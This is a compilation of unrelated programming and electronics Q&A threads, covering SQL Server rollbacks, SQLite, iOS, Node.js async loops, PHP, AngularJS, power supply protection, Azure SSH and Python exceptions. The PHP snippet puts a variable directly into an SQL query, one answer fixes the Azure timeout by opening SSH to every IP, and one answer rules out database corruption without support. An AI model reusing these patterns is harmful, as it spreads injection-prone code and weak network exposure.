Q: SQL Server rollback stuck at 0% and cannot kill pid Our company recently experienced a problem with our SQL Server database where we were having high load and some database monitoring scripts killed a number of connections.
When this happened a few of the transaction in process failed to finish rolling back.
They repeatedly said the rollback was 0% complete when executing kill on the pid.
After searching online we discovered people suggesting to restart SQL Server. This was not desirable as this was a production db. We were also concerned that restartinng could cause corruption to our database forcing us to restore from backups.
We eventually restarted the server and everything started up fine without the transactions that where rolling back.
My question is:
Is it possible to prevent this from happening in the first place? If not is there any way to know it is safe to restart?

A: First to answer your final question, can you present this from happening again, no not really.
What happened is that when the processes were killed, the SQL Server tells the client that the process has been killed.  Under some circumstances the SQL Server will hang while trying to tell the client that the process has been killed.  Normally this isn't a problem, but there are a few times when it will cause this problem.
If you leave the processes running nothing will happen, other than the SPID is sitting there in process.  The rollback has actually completed.  The only way to clear the SPID is to restart the SQL instance.  There is 0 chance of corruption by restarting your SQL Instance when this has happened.

A: All I can say is to do the basic stuffs.
First of all know the importance of the script that currently running at the server. Complicated scripts that would take too much memory consumption and might do dataloss 'MUST' do backup procedure first before running the script. Let's say a thousand line script is scheduled to run unattended, techy guys who developed the script must be advised to include an automated differential backup on their scripts to make sure that if their script crashes then at least a reliable backup was secured first.
If the script don't have an automated backup procedure, well a technical guy must be responsible to do the backup manually at a certain scheduled time. The only thing that needs to be considered is the to know when the script would start running on the server so that the dba would also know when to start the manual backup process. One reason why dba's exist.


text:
Q: syntax error while compiling sqlite I'm trying to make a new table for my database with sqlite:
String CREATE_ARCHIVE_TABLE =
"CREATE TABLE {0} ({1} INTEGER PRIMARY KEY AUTOINCREMENT," +
" {2} TEXT NOT NULL, {3} TEXT NOT NULL, {4} TEXT NOT NULL, {5} INTEGER);";

db.execSQL(MessageFormat.format(CREATE_ARCHIVE_TABLE,AItext.TABLE_NAME,AItext._ID,
        AItext.TITLE,AItext.MESSAGE,AItext.DATE,AItext.TYPE));

with the interface:
public interface AItext extends BaseColumns {
  String TABLE_NAME = "table_name";
  String TITLE = "title";
  String MESSAGE = "message";
  String DATE = "date";
  String TYPE = "type";
  String[] COLUMNS = new String[]
  { _ID, TITLE, MESSAGE, DATE, TYPE };
}

but I have the following exception and I can't see the error
android.database.sqlite.SQLiteException: near "INTEGER": syntax error: ,
while compiling: CREATE TABLE archive_contacts_name (_id INTEGER PRIMARY KEY
AUTOINCREMENT, message INTEGER, name TEXT NOT NULL, phone TEXT NOT NULL,
check INTEGER, note TEXT NOT NULL);

A: As @aim has said, CHECK is in fact a SQLite Keyword that cannot be used as a column name.

A CHECK constraint may be attached to a column definition or specified as a table constraint. In practice it makes no difference. Each time a new row is inserted into the table or an existing row is updated, the expression associated with each CHECK constraint is evaluated and cast to a NUMERIC value in the same way as a CAST expression. If the result is zero (integer value 0 or real value 0.0), then a constraint violation has occurred. If the CHECK expression evaluates to NULL, or any other non-zero value, it is not a constraint violation. The expression of a CHECK constraint may not contain a subquery.
CHECK constraints have been supported since version 3.3.0. Prior to version 3.3.0, CHECK constraints were parsed but not enforced.


text:
Q: Why is changing my app's orientation dismissing my parent view controller after state restoration? I have view controller A that can modally present view controller B or view controller C, which is a screen we are using to capture a signature. In view controller C, I am using the following code to rotate the screen to landscape:
appDel.shouldRotate = true
let value = UIInterfaceOrientation.landscapeRight.rawValue
UIDevice.current.setValue(value, forKey: "orientation")
UIViewController.attemptRotationToDeviceOrientation()

where in the app delegate I am using
func application(_ application: UIApplication, supportedInterfaceOrientationsFor window: UIWindow?) -> UIInterfaceOrientationMask {
    return shouldRotate ? .landscape : .portrait
}

Normally, I am able to dismiss view controller C without any problems. However, if I restore the app state and display view controller A and present view controller C then proceed to dismiss C, the app returns to the home screen of our app (the initial screen) as opposed to dismissing back to A. The weird thing is that I can present and dismiss view controller B without this problem occurring.
I have commented out my  screen rotation logic and I can dismiss view controller C without any problems.
So why does changing the screen's orientation prevent me from going back to view controller A after dismissing C?

A: Thanks to my discussion with murphguy, I concluded that this is caused by the navigation stack not being restored upon app restoration. Embedding VC C in a navigation controller, unfortunately, did not solve the issue. Why the navigationController for VC A upon restoration, I don't know. However, I made a new question to figure that out at Why isn't my navigation stack being preserved upon restoring the app?.


text:
Q: NodeJs - Nested Functions with a for loop which does not work properly inside today my question is actually about the problem which happens due to loop which is not working properly but anyway, i am quite open to ideas if i have issues about designing.

app.post('/admin/earning/:multiplier', function (req, res) {

  var multiplier = req.params.multiplier;

  var now = new Date();

  var List=[];

  var dailySaving;

  //  Getting the investors emails(key) from the collection.

  db.getInvestorsFromValidatedInvests(function(err,result){

    if(err){console.log(err);}

    console.log(result);

    List = result;

    console.log('Inside the List scope'+List[0]);

    for(var i=0;i<List.length;i++){

      db.returnTotalInvestingfromValidatedInvests(List[i],function(err,rst){

      if(err){console.log(err);}

      console.log(rst);

      var dailySaving = ((rst*multiplier)/100);

      console.log('Daily Savings which is going to be added is that  :  ' +dailySaving);

      console.log(List[i]);

      db.multiplyInvestAndAddSavings(List[i],dailySaving,function(err,rest){

        if(err){console.log(err);}

        console.log(rest);

      });

    });

    }

    });

  res.json('Going to be Prepared...');
});

Here i am sharing you each of these database functions :
First function gets the owner e-mails from db and returns an array and then, i want to do some operations with each elements of this array and i decided to use for loop but it does not work properly.

Db.prototype.getInvestorsFromValidatedInvests = function(callback){
  MongoClient.connect("mongodb://xxxxxxx:xxxxxxx@ds9999.mlab.com:99986/xxxxxx", function (err, db) {
    if (err) { return console.dir(err); }
    db.collection('validatedInvests').distinct("owner",function(err,result){
      if(err){console.log(err); callback(err,null);}
      callback(null,result);
    });
    db.close();
});
}

Db.prototype.returnTotalInvestingfromValidatedInvests = function(owner,callback){
  MongoClient.connect("mongodb://xxxxxxxx:xxxxxxx@ds09999.mlab.com:9996/aslanservices", function (err, db) {
    if (err) { return console.dir(err); }
    db.collection('validatedInvests').find({"owner":owner}).toArray(function(err,result){
      var sum=0;
      if(err){console.log(err); callback(err,null);}
      for(var j=0;j<result.length;j++){
        sum+=parseInt(result[j].amount);
      }
      callback(null,sum);
    });
    db.close();
});
}

Db.prototype.multiplyInvestAndAddSavings = function(owner,amount,callback){
  MongoClient.connect("mongodb://xxxxxx:xxxxxxx@ds99996.mlab.com:39996/aslanservices", function (err, db) {
    if (err) { return console.dir(err); }
    console.log('Db talking amount is'+amount);
    db.collection('investClients').updateOne({"email":owner},
    {
      $inc : {
        "savingsAccount" : +amount
      },

    },
    {
      upsert : true
    }
    ,function(err,result){
      if(err){callback(err,null);}
      callback(null,result);
    });
    db.close();
});
}

The output is  :
Inside the List Scope >  lets say blablabla@gmail.com
220
Daily Savings which is going to be added is that : 8.8
undefined
150
Daily Savings which is going to be added is that : 6
undefined
Db talking amount is 8.8
Db talking amount is 6
Expected ouput is that  :
220
Daily Savings which is going to be added is that : 8.8
blablabla@gmail.com
Db talking amount is 8.8
150
Daily Savings which is going to be added is that : 6
secondblablabla@gmail.com
Db talking amount is 6

A: The problem is that you're using a for loop with async functionality inside. Let me try to explain:
for(var i=0;i<List.length;i++){
    // first iteration, the variable i is
}

now the first async function gets executed:
db.returnTotalInvestingfromValidatedInvests(List[i],function(err,rst){
     /*this is an async callback which will be executed in a
     different context in a later time, when the response is received*/
}

So what happens is the main execution where the for loop is being executed doesn't wait for the response (since async) from the above function, and moves forward incrementing the variable i executing the next iteration with your function db.returnTotalInvestingfromValidatedInvests and it onwards.
Very soon the whole for loop is ended whether or not all or any of your responses have arrived.
The reason you're getting undefined is because at the end of the loop the variable i has value of List.length which means that it is accessing List[list.length]. Which will always be undefined since the max index is always length-1.
Summary: You will have to keep a track of the element at List[i] somehow so that when the final (nested) function's async callback is triggered, you can update the correct element. Some people do that by creating hashes, some do it by converting their logic to synchronous in terms of loop.
Advice:
Try logging out i in each of the function callbacks to see the variable being changed quickly.
Hope the explanation helps :)
As requested, here's one way to do it:
  function onInvestsDone(err, obj){
    if(err!=null){
      // something went wrong
    }
    else{
      // do anything here with your final response
    }
  }

  for(var i=0;i<List.length;i++){
    returnInvests(List, i, onInvestsDone);
  }

  function returnInvests(listArray, index, cb){
    db.returnTotalInvestingfromValidatedInvests(listArray[index],function(err,rst){
      if(err){
        console.log(err);
        cb(err);  // call callback with error
      }
      console.log(rst);
      var dailySaving = ((rst*multiplier)/100);
      console.log('Daily Savings which is going to be added is that  :  ' +dailySaving);
      console.log(listArray[index]);
      db.multiplyInvestAndAddSavings(listArray[index],dailySaving,function(err,rest){
        if(err){
          console.log(err);
          cb(err);  // call callback with error
        }
        console.log(rest);
        // successfully done everything
        cb(null, rest);
      });

    });
  }


text:
Q: find the position of a row in a query result I have a query that looks for videos with a certain groupid and returns the result. In this result I need to find the position of a certain $vid_id:
  function getGroupVidPos($id,$vid_id)
  {
    global $db;
    $result = $db->query("SELECT * FROM videos WHERE `groupid`='$id' ORDER BY date DESC");
    $a = $db->fetch($result);
    return $a;
  }

Can I do this in the MySQL statement it self? Or better use array_search? Or any other ideas?


text:
Q: AngularJS - refresh view after http request, $rootScope.apply returns $digest already in progress I am simply trying to load data when my app starts. However, the view loads faster than the http request(of course). I want to refresh my view once my data has been properly loaded because that data defines my view.
I've tried $rootScope.apply from inside the factory where I do my http request, and I also tried directly doing the http request in my controller again with $scope.apply, and neither one worked as they both gave me "$digest already in progress"
Any idea how can I set up my code to make my views refresh on data load? I will be having several different http requests and I would like to know how to set them up properly! I would really appreciate any input!
Here is some of the code I am working with.
app.factory('HttpRequestFactory', function($http, $q) {
  var HttpRequestFactory = {
    async: function(url, params) {
      var deferred = $q.defer();
      $http({
        url: url,
        method: post,
        params: params
      })
        .success(function(data, status, headers, config) {
          deferred.resolve(data);
        })
        .error(function(data, status, headers, config) {
          deferred.reject("An error occurred");
        });
      return deferred.promise;
    }
  };
  return HttpRequestFactory;
});

Factory
function initializeAll(){
    HttpRequestFactory.async('../api', {action: 'getall'}).then(function(data) {
            //$rootScope.$apply(function () {
                allData = data;
            //});
        angular.forEach(allData, function(value, index){
            console.log('Voala!');
        });
    });
}

Controller calling the factory's function initializeAll()
app.controller("MainController", ["$scope", "$rootScope","MyFactory",
    function($scope, $rootScope, MyFactory){
        MyFactory.initializeAll();

    }
]);

A: Oh my !
You got the f** matter with AngularJS !
In fact you have to do a "safeApply" like that for example :
$rootScope.safeApply = function(fn) {
    var phase = this.$root.$$phase;
    if(phase == '$apply' || phase == '$digest') {
        if(fn && (typeof(fn) === 'function')) {
            fn();
        }
    } else {
        this.$apply(fn);
    }
};

In AngularJS you can only have one $apply or $digest loop at the same time.
For details on these loops look at the docs :
http://docs.angularjs.org/guide/concepts
It will explain what is the $apply loop and you'll understand a lot of things about the two-way-data-binding in AngularJS
Hope it helps.

A: Don't use $apply: use $watch.
Calling $apply is (almost) always the wrong thing to do.  The only time you should ever be calling it is if you've triggered a change outside of an 'angular' method; here, since the trigger occurs in an angular $http request, you can't call $apply because it's already being done at that moment by the $http block.  Instead, what you want to do is $watch.
Official Doc for $scope.$watch() here
This will let you watch an object and update whenever it changes.  I assume that your view is based on allData and you want it to update immediately; if you're using an ng method, then the watch is automatically setup for you and no more work should be needed.  If you're using allData yourself inside a controller, you can write the watch in that controller like this:
$scope.$watch(function thingYouWantToWatch(){
         return <accessor call to allData here>;
      },
      function whatToDoOnChange(newValue, oldValue){
          $scope.myCoolThing = newValue; //this is the newValue of allData, or whatever you're watching.
      }
);


text:
Q: Mains Linear Power Supply Protection This is a two-part question:

*

*Why do the so many projects that I see that use basic linear transformer power supplies (i.e., mains->transformer->rectifier->regulator) not have any kind of input protection beyond a fuse?  Is a fuse really going to help prevent damage to the circuit?  Are they assuming that it's going to be plugged into a surge protector, so it doesn't need to worry about excessive input voltage?

*If it is a good idea to include more protection in a simple power supply, is a simple crowbar-type arrangement like this appropriate?

My thought process was that I just want the fuse to open and the whole thing to become inactive if anything goes out of spec, so during an overvoltage, I basically just want to short-circuit and blow the fuse.  The rule of thumb that I have heard is that your device should be able to tolerate during normal operation anywhere between 100-140 volts from a 115v nominal mains supply.  This means a peak AC voltage of ~198, hence the 200v TVS diodes.  The clamping voltage of common 200v TVS diodes seems to be in the 320-330v range, so a 300v gas discharge tube was chosen to take up the larger surges a little bit before the diodes reach their limit.  Anything more than the GDT can handle would probably just arc across the component leads and trip the mains circuit breaker or blow the power supply's fuse instantaneously, right?
Is this enough?  Should I also fuse the mains neutral and use a lower voltage TVS diode for D2 in order to open the circuit in the case of reversed hot and neutral?  It seems like it might be over doing it to try to protect against grossly incorrect mains wiring like that.  Also, now I'm starting to ask myself if it isn't even more dangerous to risk opening the neutral side of the circuit before the hot side fuse blows...

A:
Is a fuse really going to help prevent damage to the circuit?

In general, a fuse isn't intended to protect the circuit. The fuse is there to disconnect your circuit from the mains in the event of an over current. That way, the circuit breaker at your facility (home or otherwise) doesn't shut off and lose power to other branch circuits in your facility.  Also, your over current might not be enough to trip the facility circuit breaker, yet enough over current to start a fire.
Other devices such as TVS (rather to use MOV) (after the fuse) ARE desired to protect your circuit from transient (temporary) peak voltages. A transient over voltage can be clipped without blowing the fuse. Fuses take a long time (relatively speaking, look at fuse specifications) before they open.

Should I also fuse the mains neutral

Oh, no, never. Disconnecting the neutral is not a good idea. This leaves the HOT lead still connected, and there are many questions and answers on this EE SE site regarding disconnect of neutral.  Like this answer

A: Generally the old fashoned transformer type of linear PSU is much more resilient to overvoltages than a SMPS .The use of a large electrotytic cap across the DC output terminals of the bridge rectifier limits rise in rail volts when mains spikes occur .The DCR and leakage inductance of the 60Hz transformer          keep the peak diode currents to sensible values during mains surges.Hence most of the time you dont need surge protection on a linear PSU.In fact using MOVs could reduce overall reliability .When MOVs blow its really bad ,sometimes they go on fire .I got a coworker to post my exploding MOV demo on U tube.You should still use a fuse on the mains input as stated by Maria.


text:
Q: SSH timeout error on Azure DevOps CD pipeline I am getting an timeout error when trying to deploy to an VM instance hosted on AWS. Manually I can log ing using
ssh -i myKeyFile.pem myuser@IP

Once I accessed the remote machine I can execute some docker commands and everything works fine. But now that I need to automated that on the CD pipeline is where I am getting the following error:
2020-06-02T21:37:12.6877276Z Trying to establish an SSH connection to ***@IP:port
2020-06-02T21:38:52.4629461Z ##[error]Failed to connect to remote machine. Verify the SSH service connection details. Error: Error: Timed out while waiting for handshake.
2020-06-02T21:38:52.4685976Z ##[section]Finishing: Run shell commands on remote machine

The steps I follow to make the SSH connection are:

*

*I created a SSH service connection on the project settings in Azure DevOps

*I created the CD pipeline

*I added a SSH task with the following parameters

When I manually trigger it to test if it works, the release start working fine but after 1:43 minutes more or less is when I got the error:

Then, when I review the logs, it is the same error I pasted at the beginning:
[error]Failed to connect to remote machine. Verify the SSH service connection details. Error: Error: Timed out while waiting for handshake

I've increase the handshake timeout settings from the default one (20000) to 90000, but no luck.
Any one has face this problem before?

A: Seems there is an ongoing error with the default agent pools from Azure DevOps. Lot of people have been reported this and Azure DevOps teams is working on it at the time this post is been written (I couldn't find the post where all that is details. I will add this later on).
The workaround is

*

*To create a self-hosted agent.

*After this has been created you will need to re-create your CD pipeline using the new self-hosted agent.

*The rest of the SSH task configuration depends on your needs. But if you want to test the SSH connection works, just print something:

echo 'I'm connected'

*After this you CD pipeline should be working fine.

More details on how to created the Self-Hosted Agent on Windows. There are also links for Linux and Mac.

A: I had a similar issue with a VM in Azure. It turned out I had set the security group to only allow SSH in from my local network and Azure Dev-Ops agents obviously run in a Microsoft network and were coming from a different IP Address range. The solution was to open up SSH to all source IP Addresses. You can get the list of IP address ranges Dev-Ops agents use but they appear to change every week which isn't very helpful.
See https://learn.microsoft.com/en-us/azure/devops/organizations/security/allow-list-ip-url?view=azure-devops#microsoft-hosted-agents


text:
Q: which exception catches xxxx error in python given a traceback error log, i don't always know how to catch a particular exception.
my question is in general, how do i determine which "except" clause to write in order to handle a certain exception.
example 1:
  File "c:\programs\python\lib\httplib.py", line 683, in connect
    raise socket.error, msg
error: (10065, 'No route to host')

example 2:
return codecs.charmap_encode(input,errors,encoding_table)
UnicodeDecodeError: 'ascii' codec can't decode byte 0xd7 in position(...)

catching the 2nd example is obvious:
try:
    ...
except UnicodeDecodeError:
    ...

how do i catch specifically the first error?

A: Look at the stack trace. The code that raises the exception is: raise socket.error, msg.
So the answer to your question is: You have to catch socket.error.
import socket
...
try:
    ...
except socket.error:
    ...

A: First one is also obvious, as second one e.g.
>>> try:
...     socket.socket().connect(("0.0.0.0", 0))
... except socket.error:
...     print "socket error!!!"
...
socket error!!!
>>>

A: When you have an exception that unique to a module you simply have to use the same class used to raise it.  Here you have the advantage because you already know where the exception class is because you're raising it.
try:
    raise socket.error, msg
except socket.error, (value, message):
    # O no!

But for other such exception you either have to wait until it gets thrown to find where the class is, or you have to read through the documentation to find out where it is coming from.